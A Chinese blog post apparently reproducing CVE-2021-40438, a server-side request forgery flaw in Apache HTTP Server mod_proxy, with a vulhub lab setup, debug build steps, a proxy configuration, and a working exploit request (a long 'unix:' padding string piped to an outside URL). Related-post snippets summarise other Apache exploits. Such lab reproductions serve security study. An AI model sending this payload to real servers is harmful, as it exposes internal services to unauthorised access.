Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)

最新推荐文章于 2023-09-11 21:35:51 发布
最新推荐文章于 2023-09-11 21:35:51 发布
阅读量2.2k 收藏 2
点赞数
CC 4.0 BY-SA版权
分类专栏： 漏洞复现 文章标签： apache http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44047654/article/details/128202120
本文介绍Apache HTTP Server 2.4.48版本中mod_proxy模块存在的SSRF漏洞（CVE-2021-40438），详细分析了漏洞原理，并演示如何复现此漏洞。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)

0x01 漏洞简介

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中，mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址，进而导致SSRF漏洞。

0x02 影响版本

Apache HTTP Server ≤ 2.4.48

0x03 环境搭建

下载环境：https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-40438

执行如下命令编译及运行一个Apache HTTP Server 2.4.43服务器：

docker-compose build
docker-compose up -d

服务器启动后，访问可以看到一个Apache Tomcat的示例页面，此时Apache HTTP Server是以中间反代服务器的身份，运行在客户端（用户）和后端服务器（Tomcat）之间，Apache和Tomcat通过AJP协议进行通信。

0x04 漏洞分析

调试环境搭建

下载apache环境，我下载的是2.4.43，在官网找到下载地址：https://archive.apache.org/dist/httpd/

到 Index of /apr 下载 apr-1.6.5 和 apr-util-1.6.1 的源码，然后通过CLFAGS="-g" ./configure --prefix=/path/to/apr、make、make install ,CLFAGS="-g" ./configure --prefix=/path/to/apr-util --with-apr=/path/to/apr、make、make install的方式来编译。

使用Ubuntu 20.04来编译Apache,安装依赖，包括我们编译软件所需要的build-essential，以及调试C程序所需要的gdb，以及Apache所

以来的几个第三方库：

sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev

编译apache CFLAGS="-g" ./configure --prefix=/home/test/apache/httpd-bin --with-apr=/home/test/apache/apr-1.6.5 --with-apr-util=/home/test/apache/apr-util-1.6.1

这里的 --prefix 是安装后Apache所在的base目录，我指定为 /home/phith0n/workspace/httpd-bin 。

编译安装：

make
make install

安装成功后，可见 /home/test/apache/httpd-bin 这个目录下就是一个完整的Apache HTTP Server了

配置存在漏洞的应用

CVE-2021-40438这个漏洞是使用了mod_proxy的情况下出现的SSRF漏洞，所以我们需要先在配置文件里配置一个正常的反代。

Apache的主配置文件是 /httpd-bin/conf/httpd.conf ，将mod_proxy.so和mod_proxy_http.so两个模块前面的注释删掉：

在这里插入图片描述

再在配置文件的末尾增加一个虚拟主机的配置，其中设置反代代理的地址：

<VirtualHost *>
ServerAdmin webmaster@localhost
ServerName localhost
DocumentRoot /home/test/apache/httpd-bin/htdocs
LogLevel notice proxy:trace8
ErrorLog /home/test/apache/httpd-bin/logs/error.log
CustomLog /home/test/apache/httpd-bin/logs/access.log combined
ProxyPass / "http://192.168.237.129/"
ProxyPassReverse / "http://192.168.237.129/"
</VirtualHost>

然后我们正常使用apachectl启动这个Apache服务器，然后访问看是否能够正常反代，如果反代成功，

说明我们已经配置完成。

0x05 漏洞复现

发送如下数据包，可见我们已经成功请求到http://example.com的页面并返回，我们也可以利用该漏洞访问服务器内部一些不对外开放的http端口及uds文件。

GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

在这里插入图片描述

参考链接

https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-40438
https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

Apache HTTP Server 2.4.48 mod_proxy SSRF （CVE-2021-40438）
weixin_53639243的博客
02-27 540
此缺陷允许未经身份验证的远程攻击者使 httpd 服务器将请求转发到任意服务器。攻击者可以获取、修改或删除其他服务上的资源，这些资源可能位于防火墙后面，否则无法访问。此缺陷的影响因 httpd 网络上可用的服务和资源而异。服务器启动后，您可以看到后端 Apache Tomcat 服务器的示例站点。在这里，Apache HTTP Server 作为客户端和后端 Tomcat 服务器之间的中间反向代理运行，它们通过 AJP 协议进行通信。
httpd已复现漏洞
qq_61142406的博客
05-28 868
CVE-2017-15715： 2.4.0~2.4.29 00截断，后缀名后面加0A,1.php后面加上一个空格，然后双击空格，右边出现hex进制，然后改成0A CVE-2021-41773： 目录穿越，Apache httpd Server 2.4.49 版本引入了一个具有路径穿越漏洞的新函数，但需要配合穿越的目录，配置 Require all granted，攻击者可利用该漏洞实现路径穿越从而读取任意文件，或者在配置了cgi的httpd程序中执行bash指令，从而有机会控制服务器。 文件读取 payl
Apache HTTP Server 2.4.48 mod_proxy SSRF (CVE-2021-40438)
wswr的博客
03-21 1100
在 httpd 的 mod_proxy 中发现了服务器端请求伪造 (SSRF) 漏洞。该漏洞允许未经身份验证的远程攻击者使 httpd 服务器将请求转发到任意服务器。攻击者可以获取、修改或删除可能位于防火墙后面且无法访问的其他服务上的资源。此漏洞的影响因 httpd 网络上可用的服务和资源而异。 Apache mod_proxy SSRF（CVE-2021-40438）的一点分析和延伸_落沐萧萧的博客-CSDN博客 ...
Apache mod_proxy SSRF CVE-2021-40438
m0_55641973的博客
06-19 607
php底层对unix反代请求的解析代码里有一个fix_uds_filname的函数，传入参数r中filename,它来自于proxy_http_cannon函数，在这个函数中它首先获取到组成URL变量，然后将其拼接。第二个则是unix套接字语句，将网站根目录内容反代到unix的/var/run/，www.sock文件通过管道符传输给http://localhost:8080。因此由于fix_uds_filename函数缺陷，通过人为的写入path或者search ，就可以控制反代的后端地址。
Apache HTTP Server SSRF漏洞（CVE-2021-40438）复现（vulhub）
qq_51398553的博客
06-21 4531
在反向代理模式下，客户端不知道真正的服务器是谁，只是向代理服务器发送请求，代理服务器再根据自己的策略将请求转发到目标服务器，目标服务器返回数据给代理服务器，代理服务器再将数据返回给客户端。2.在unix:与|之间输入的长度大概是4092个字符（多于4092个字符可以，少于也可以，但不能少于一定的字符，上面的是不能4069个字符，其他的没有实验，有知道的可以告诉我一下原因哈），即可构造出uds_path为null，让Apache不再发送请求给unix套接字。，拉取镜像，并查看服务相关信息。
Apache SSRF漏洞（CVE-2021-40438）
热门推荐
weixin_47311099的博客
12-07 1万+
Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞（CVE-2021-40438） Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中，mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址，进而导致SSRF漏洞。 参考链接 https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438/README.zh-cn.md
Apache mod_proxy SSRF（CVE-2021-40438）的一点分析和延伸
离别歌
10-18 6806
周五晚上开始学习Apache HTTP Server（后文简称为Apache）mod_proxy的SSRF漏洞（CVE-2021-40438），并在星球简单介绍了一下编译、调试Apache...
Apache mod_proxy SSRF（CVE-2021-40438）
weixin_66218784的博客
12-18 305
SSRF漏洞相关知识点
2021最新Apache漏洞分析
kali_Ma的博客
11-17 2718
0x01 漏洞简介 2021年9月16日，Apache官方发布了Apache httpd mod_proxy SSRF漏洞CVE-2021-40438，影响v2.4.48及以下版本。该漏洞影响范围较广，危害较大，利用简单，不得不引起重视。 0x02 漏洞搭建 docker部署详见https://github.com/BabyTeam1024/CVE-2021-40438 开启mod_proxy模块 启用vhost配置文件 /etc/httpd/extra/httpd-vhosts.conf 配置文件内容
CVE-2021-40438
最新发布
12-30
CVE-2021-40438 是一个存在于 Apache HTTP Server 中的服务器端请求伪造（SSRF）漏洞，该漏洞影响了 mod_proxy 模块。当配置不当或存在特定条件下，攻击者可以利用此漏洞发送特制的HTTP 请求到目标服务器，进而访问...
httpd-2.4.48-win64-VS16.zip
08-09
httpd-2.4.48-win64-VS16，Apache官网下载太慢，Intellij IDEA集成PHP：https://blog.csdn.net/qq_44695727/article/details/119535963
Apache HTTP Server ＜2.4.56 mod_proxy 模块存在请求走私漏洞（CVE-2023-25690）
murphysec的博客
03-09 2408
Apache HTTP Server是一款Web服务器。 该项目受影响版本存在请求走私漏洞。由于intro.xml中存在RewriteRule配置不当，当Apache启用mod_proxy且配置如 RewriteRule "^/here/(.*)" " http://example.com:8080/elsewhere?$1"; http://example.com:8080/elsewhere ; [P] ProxyPassReverse /here/ http://example.com:8080/
Apache HTTP Server SSRF漏洞（CVE-2021-40438）复现
2301_76467680的博客
07-09 667
拉取环境访问页面pocGET /?Win64;x64;q=0.3,en;成功页面。
正向代理与方向代理--zl
红梅花儿开
07-22 1130
一、正向代理    正向代理是一个位于客户端和原始服务器(origin server)之间的服务器，为了从原始服务器取得内容，客户端向代理发送一个请求并指定目标(原始服务器)，然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。    正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性(由
apache httpd漏洞合集
weixin_46626737的博客
07-02 1200
就是上传文件，在1.php文件名后面加一个0x0ahex值进行一个绕过，恰好有解析漏洞，将1.php%0a当做1.php执行。--#exec cmd="id" -->，直接访问，就会显示。3.Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)上传文件，bp抓包修改为123.php.jpg，访问其路径，会以php格式执行。漏洞版本：Apache HTTP Server 2.4.49-2.4.50。漏洞版本：通用，得看是否开启了ssi组件。
[CTF]HGAME2021 WP
Sapphire037的博客
02-18 1831
MISC 群青(其实是幽灵东京） wav,audicaty看频谱图 文件属性让我们试试silenteye，解密得到 访问，下载后文件名提示了SSTV，可以扫出 hgame{1_c4n_5ee_the_wav} WEB Fujiwara Tofu Shop 首先给了 猜到是要加referer头，所以加个头referer: qiumingshan.net 然后 那么我们知道 User Agent中文名为用户代理，简称 UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU 类型、
Apache漏洞原理与复现
LJH1999ZN的博客
03-30 4171
一、Apache简介 Apache HTTP Server（简称Apache）是Apache软件基金会的一个开放源码的网页服务器，可以在大多数计算机操作系统中运行，由于其多平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展，将Perl/Python等解释器编译到服务器中。 二、Apache的历史漏洞 Apache路径穿越漏洞（CVE-2021-41773） Apache 路径穿越漏洞（CVE-2021-42013） Apache SSRF漏洞（CVE-
【中间件漏洞】Apache HTTPD 漏洞全集复现（基于Vulhub平台）
Continuejww的博客
09-11 1043
①CVE-2017-15715 ②多后缀解析漏洞 ③远程命令执行漏洞 ④CVE-2021-41773 ⑤CVE-2021-42013 ⑥CVE-2021-40438
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值